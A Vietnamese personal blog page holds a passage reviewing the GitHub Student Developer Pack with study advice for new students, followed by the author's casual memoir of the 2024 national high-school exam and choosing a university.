:::caution Lưu ý, mình đánh giá dưới góc nhìn của người học code từ cấp 2 tới giờ và code rất nhiều mảng khác nhau nha. Hơi bias nhưng không sao. :::

Educative, tặng mấy khóa học chủ yếu về web, có khóa python, java cơ bản, còn lại như shiet
DataCamp, dành riêng cho các bạn học AI/ML, Data Engineer, Analyist, Scientist...
Codedex, web trẻ con, vẫn là mảng web development.
Scrimba, chỉ có frontend, pass...
FrontendMasters, welp, tiếp tục là web development.
Microsoft Visual Studio Dev Essentials, này bao gồm các tool hỗ trợ việc học, khá hay khi mà nó có các khóa cloud miễn phí.
AlgoExpert, Leetcode trái hình nhưng có hỗ trợ học cấc thuât toán.
GoRails, Ruby On Rail!!!!
Thinkful (chegg), này hơi sú vì trang web đổi chủ rồi.
SymfonyCasts, 2025 rồi, Php chết rồi :))
InterviewCake, Leetcode trái hình nhưng nó thêm câu hỏi ngoài về cá tính?

Phần lớn ở đây mình không đụng tới, mới thử Datacamp, Educative với Microsoft thôi.

Mình khuyên các bạn có thể học miễn phí thông qua Youtube, Reddit hay StackOverFlow. Vấn đề hiện nay của giới trẻ là không biết đọc Document của tool mình đang dùng, toàn là AI làm giùm đâm ra mỗi lần không có AI là như người dưng không làm.

Productivity

Notion Plus, welp, biết dùng thì rất hiệu quả vãi.
SlideCoach, soạn slide thuyết trình??? Lên tận 40 slides???
ToDiagram, cái này khá hay, mình chưa thử vì không biết nên dùng vào việc gì.

Security

Đặt tên category là Security nhưng ở đây tool chủ yếu dành cho các bạn theo DevOps hoặc Cloud Engineer, vài tools trong đây dùng nhiều khi ra doanh nghiệp làm việc.

Cách tận dụng Github Student Developer Pack tốt nhất

1. Chọn mục tiêu sau khi tốt nghiệp

Bạn có tận năm nhất để học làm đủ thứ rồi xác định hướng đi của mình, tùy vào hướng đi sẽ có:

Web Developement: Có mấy tool như Figma, Bootstrap Studio hay host website như Heroku, Azure, thậm chí Github Pages cũng là bước khởi đầu của bạn.
Mobile Development: Tập trung vào sản phẩm của JetBrains hoặc chơi trội hơn thì React Native hay Tauri cross-platform với Javascript (làm ơn đừng).
AI/ML: Có chỗ học miễn phí như Datacamp với Microsoft Azure, dùng Azure để chạy model hoặc Google Colab.
Cloud/DevOps: Github Action, GitKraken hay Travis CI...
IoT: Arduino thẳng tiến!

Làm sao để biết mình thích gì?

Trong vòng 1 năm học thì bạn làm nhiều project hết mình. Sau đó kết thúc năm thì nhìn lại xem mình đã làm project gì, các project đó có đặc điểm chung là gì rồi đưa ra kết luận. Biết mục tiêu của mình sẽ tốt hơn là sống qua 4 năm đại học mà không có mục tiêu.

2. Master những tool quan trọng trước

Vì bạn mới vào đại học nên sẽ có tiềm thức đi tìm hiểu và dùng nhiều thứ nhất có thể, đừng! Hãy tập trung vào cốt lõi những thứ sẽ theo bạn cả đời như:

Git & Github sẽ là nơi bạn lưu code và làm việc cùng với mọi người
Visual Studio Code và các IDE, bạn dùng nó để code nên chọn cẩn thận, chơi lớn thì NeoVim :))
Nguồn học để phát triển bản thân mình.

3. Bơi vào các trang web dạy học miến phí

Theo Web Dev thì có Educative ngon.

Theo Cloud thì Microsoft Azure Dev Essentials miễn phí.

Theo AI/ML thì có Datacamp tốt nhất!

:::tip Đừng học cùng lúc nhiều quá, trừ khi bạn là siêu nhân. Học từ từ thôi vì bạn có nhiều thời gian. :::

4. Làm project liên tục

Sau 1 năm để xác định mình theo gì thì lúc đó bạn sẽ làm project về mảng đó, ứng dụng những gì mình học vào project và đút kết kinh nghiệm học.

Đi xung quanh, lướt fb hay báo để tìm kiếm ý tưởng, đôi khi những lúc bạn cay thứ gì đó thì bạn sẽ làm ra solution để giải quyết nó. Ý tưởng cơ bản nhất là Personal Website như trang này bạn đang đọc :)))

5. Học nữa, học mãi, học suốt đời

Tham gia vào các Community như Google Developer Group, Github Campus. Tham gia các câu lạc bộ học thuật cũng là điểm cộng rất lớn trong hồ sơ của bạn.

References

Hasanul Banna Himel on Linkedin
Github Copilot vì đã cho thông tin ngày sinh của gói này :))

Welcome to my personal website

Mon, 04 Aug 2025 00:00:00 GMT

I took template from Fuwari to host my own personal blog website.

This website is about me and my blog saved here

Phần 1 - Mùa thi THPT 2024

Mon, 04 Aug 2025 00:00:00 GMT

Đi học thêm và luyện thi

Vào mùa thi đại học (THPT) 2024, mình đã bắt đầu đi học luyện thi từ trước đó hơn 2 tháng, chính xác là vào tháng 4 mình đã bắt đầu luyện thi rồi. Marie Curie khi đó hết tháng 5 mới xong chương trình 12, sau đó vào giai đoạn luyện thi thì học sinh Marie Curie đi qua trường THCS Lê Lợi ở Lý Chính Thắng học tạm vì Marie Curie được chọn làm điểm thi cho tụi cấp 2 lên cấp 3.

Mình hồi đó một tuần 7 ngày thì hết 6 ngày đi luyện thi buổi tối rồi. Tối thứ 3-5-7 đi học toán, tối thứ 4 với sáng thứ 7 đi học Lý, còn trưa chủ nhật là học toán nâng cao, mình đặt hết niềm tin mình vào Trung tâm văn hóa bồi dưỡng Thăng Long

Ngoài ra trên trường mình những tháng cuối năm được ngồi kế anh chàng BKU chill guy Tiến Thành nên 3-4 tháng cuối ngồi xamlon với nhau và thách đố lẫn nhau những bài toán ảo ma mà chả ra thi, không những thế tụi mình được ngồi cuối lớp nên thầy cô chả quan tâm với gọi tụi mình.

Mình đã từng nói:

Tôi yêu toán
Từ bé loga, hàm số cho tới bé số phức max min
Đặc biệt là em toán hình
Tôi yêu toán hình
Tôi làm 58 bài trong 5 ngày
Tôi đắm chìm trong cơn nghiện toán hình
Tôi muốn cưới toán hình làm vợ
Tôi nguyện làm trăm bài hình mỗi ngày

Trong lớp luyện thi

Lúc mình luyện thi tại thăng long thì mình rất sợ bị gọi tên lên bản làm mấy bài đại số, đặc biệt là số phức bởi mình chả hiểu gì. Hồi đó mình được lên lớp cao và đi nhanh hơn là 12T5A nhưng mà bị cái là mình chỉ giỏi hình học thôi, còn mấy bài đại số thì randomly 50-50 đúng sai.

Mình học bị lên xuống dữ dội, có bài hiểu, có bài không, có bài học quài chả hiểu. Khi đó mình hay nhờ anh bạn Tài Smile giờ cũng học BKU giảng dạy cho mình mấy bài đại số, anh bạn đó phải nói là người giỏi nhất lớp đó, kiểm tra nào tại thăng long cũng đều hơn 9đ mà đề thăng long nổi tiếng là khó nhằn và đau đầu.

Ngoài ra mình cũng học chung với bạn Tài lớp Lý thứ 7, mình xoay tua 2 lớp là T4-T6 với T3-T7 nên mình mới học T4-T7. Lớp T7 là lớp Lý cao cấp mà mình theo học, vào học cũng chả hiểu gì, toàn bị gọi lên mấy bài ảo ảo. Tuy vậy thầy Trung cao tuổi nhưng rất là vui vẻ và tràn đầy tuổi trẻ, có gì khó thì cứ hỏi thầy. Ngoài ra thì có thầy Sang trẻ dạy chung, thầy hơi không thích đùa nhưng không khí vẫn vui vẻ.

Dm môn Hóa, Sinh và Văn

Do mình chọn theo khối A1 Toán-Lý-Anh nên không học thêm Hóa. Câu chuyện giữa mình với môn Hóa cũng khá là ảo. Mình rất thích học hóa vào cuối năm lớp 10 tới hết năm 11, học rất là căng làm mấy bài toán hóa cũng dễ dàng, thậm chí mình từng suy nghĩ là mình sẽ thi khối A0 Toán-Lý-Hóa. Sau đó hè lớp 11 là bước ngoặt khi mà mình học hóa ở thăng long thì thấy nó chán nản, không còn không khí vui vẻ như hồi năm 11, chắc là do bạn ấy không học chung với mình. Sau đó năm 12 là khoảng thời gian Hóa hủy diệt mình, thầy Hậu Marie Curie hay dí mình mấy bài toán hóa, thâm chí lúc đó mình không biết làm mấy bài toán cơ bản nữa, cứ mỗi lần kiểm tra là alo anh Trọng Nhân hoặc anh Thành để dạy cấp tốc mấy bài siêu cơ bản, thế mà vào làm bài kiểm tra vẫn được 5đ - 5.5đ, ảo vcl.

Còn môn Văn thì thôi rồi, nát nguyên năm cấp 3, vô làm bài kiêm tra văn cố viết được có 5, 6đ là cao lắm rồi. Chả hiểu sao năm lớp 9 mình viết văn rất dài và hay, toàn 8-9đ không, mà bùm phát xét tốt nghiệp vào cấp 3 xong bỏ luôn môn Văn. Học cho lắm vào xong lên cấp 3 cũng out. Lớp 12 mình gặp ông thầy Thái dạy văn rất tâm huyết, thầy dạy không giống ai, vô bài nào là học sinh không ghi chép gì hết, thầy cứ lên lớp giảng bài với truyền cảm hứng cho học sinh về bài đó, rất hay và rất tiếc là năm đó mình chả học văn chữ nào. Vô lớp văn thầy thì cứ lấy sách toán hay lý ra học, spam mấy bài toán hình ra vẽ vời, thấy biết vì mình học lớp A nên thầy chả quan tâm, chỉ mong là mình đi thi thpt văn trên 5đ.

Vô phòng thi

Damn, mình đăng ký thi chính xác là 6 môn Toán, Văn, Anh, Lý, Hóa và Sinh, theo khối A1 là Toán-Lý-Anh. Mình gacha môn Văn, Hóa, Sinh nên điểm thi rất thấp (SPOILER: dưới tb hết). Vô phòng thi ngày đầu tiên là Toán Văn, buổi sáng thi Văn thì trong lúc thi mình lại lấy giấy nháp của văn ra ngồi làm toán :))))))))). Chiều thi mới là lúc mình tập trung cao độ nhất, làm bài rất cẩn thận và chậm, rút kinh nghiệm từ các lần thi trước là đừng ẩu và triple check đáp án, 5 câu cuối đánh lụi trúng 3 câu, thế mà ra điểm mấy câu dễ vẫn sai cay vcl còn 8.2đ.

Hôm sau thi Lý-Hóa-Sinh liên tục 50p mỗi môn trong một buổi sáng. Vô thi Lý rất căng, còn sang Hóa Sinh thì làm 10p, ngồi chơi 40p. Môn Lý đến giờ mình vẫn cay và trách bản thân vãi, làm bài thì toán rất tốt, nhưng đến phần lý thuyết thì sai gần hết, thậm chí lúc đó mình tự làm ra được 1 trên 4 câu khó cuối nhưng mấy câu lý thuyết đánh bay gần hết điểm mình còn 6.8đ.

Ngày thi cuối thì môn Anh dễ đến bất ngờ, mình làm chill chill vẫn đc 8+ do mình có IELTS 6.5 rồi. Làm 20p xong gác chân đóng bài lại ngồi nói chuyện với mấy cô giám thị :))

Hậu sau khi thi

Vừa bước ra khỏi phòng thi sáng môn Lý thì mình nói ba mình rằng môn Lý rớt rồi, kiếm trường khác vào, không vào nổi UIT đâu. Ba mình cũng biết và đi cùng cả nhà tìm kiếm trường khác, khi đó nổi lên 3 trường mình cân nhắc vào là VGU, TDTU và FPTU. Bản thân nhà mình muốn mình học trường nào có thể giao lưu quốc tế nhiều nên rút gọn lại còn 3 trường đó. Mình có đánh giá 3 trường thông qua table dưới đây (dưới góc nhìn của tân sinh viên sắp vào):

	VGU	TDTU	FPTU
Học bổng?	25%	5%	No
Độ nổi tiếng	Vô hình, ẩn danh	Top thế giới :))))	Tứ đại bổ túc??
Học phí	40.900.000đ/HK	42.000.000đ/HK	31.600.000đ/HK
Chât lượng	Không biết	Nhiều tiến sĩ và phó giáo sư	Dạy theo kiểu công nghiệp à?

Thế là cuối cùng mình chọn VGU vì có học bổng và được đi đức :))

To be continue